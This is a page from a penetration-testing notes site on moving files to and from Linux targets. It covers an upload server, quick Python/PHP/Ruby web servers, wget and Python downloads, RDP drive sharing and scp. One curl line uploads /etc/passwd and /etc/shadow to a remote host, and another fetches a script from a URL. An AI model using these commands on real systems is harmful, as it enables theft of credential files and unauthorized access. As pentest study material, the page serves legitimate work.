πŸ’»
AcuityLabs
LinkedIn
  • πŸ’»$ pwnlab.sh --gui
  • βš”οΈAttacking
    • πŸͺŸWindows & Active Directory
      • Active Directory Enumeration
      • Data Transfer
      • Execution
      • Privilege Escalation
    • 🐧Linux
      • Reconnaissance
      • Privilege Escalation
      • Lateral Movement
      • Data Transfer
      • Command and Control
    • πŸ•ΈοΈWebservices
      • Fuzzing
      • SSRF
    • πŸ› οΈOSINT
    • πŸ”Host Discovery
    • Footprinting
    • Services
      • Databases
      • SMB
      • NFS
      • SNMP
      • SMTP
    • πŸͺœPivoting & Portforwarding
  • πŸ›‘οΈDEFENDING
    • SSH
  • CTF
    • Writeups
      • HackTheBox
      • TryHackMe
  • πŸ’£Payloads
    • PayloadsAllTheThings
    • Revshells
  • πŸ“˜Ressources
    • Mindmap
    • GTFOBins
    • LOLBAS
    • WADCOMS
    • SPLOITIFY
    • MALAPI
  • Knowledge Bases
    • Pentest Everything
    • Hacker Recipes
    • Pentest Book
    • HackTricks
    • HackTricks Cloud
  • πŸ”‘Wordlists
    • Weakpass
    • Assetnote
    • Seclists
Powered by GitBook
On this page
  • Program Upload
  • SCP File Operations
  1. Attacking
  2. Linux

Data Transfer

This chapter is in-progress.

Check the index on the right to navigate this page more easily.

Program Upload

Uploadserver

# Download Uploadserver
sudo python3 -m pip install --user uploadserver
# Create a self-signed certificate
openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'
# Make webroot
mkdir https && cd https
# Start web service
sudo python3 -m uploadserver 443 --server-certificate ~/server.pem
# Uploading multiple files via curl
curl -X POST https://192.168.49.128/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' --insecure

Creating a Web Server with Python3

python3 -m http.server (default port 80 change port with -p)

Creating a Web Server with Python2.7

python2.7 -m SimpleHTTPServer

Creating a Web Server with PHP

php -S 0.0.0.0:8000

Creating a Web Server with Ruby

ruby -run -ehttpd . -p8000

Using Python3

python3 -c 'import urllib.request;urllib.request.urlretrieve("https://acuity.io/repository/getsmart.sh", "getsmart.sh")'

Using wget

wget 192.168.49.128:8000/filetotransfer.txt
xfreerdp /v:1.2.3.4 /u:acuity /p:"SuperStr00ng!" /drive:linux,/home/acuity/share

SCP File Operations

Uploading Files

scp /home/acuity/file.txt acuity@$IP:/home/hacked/file.txt
PreviousLateral MovementNextCommand and Control

Last updated 10 months ago

βš”οΈ
🐧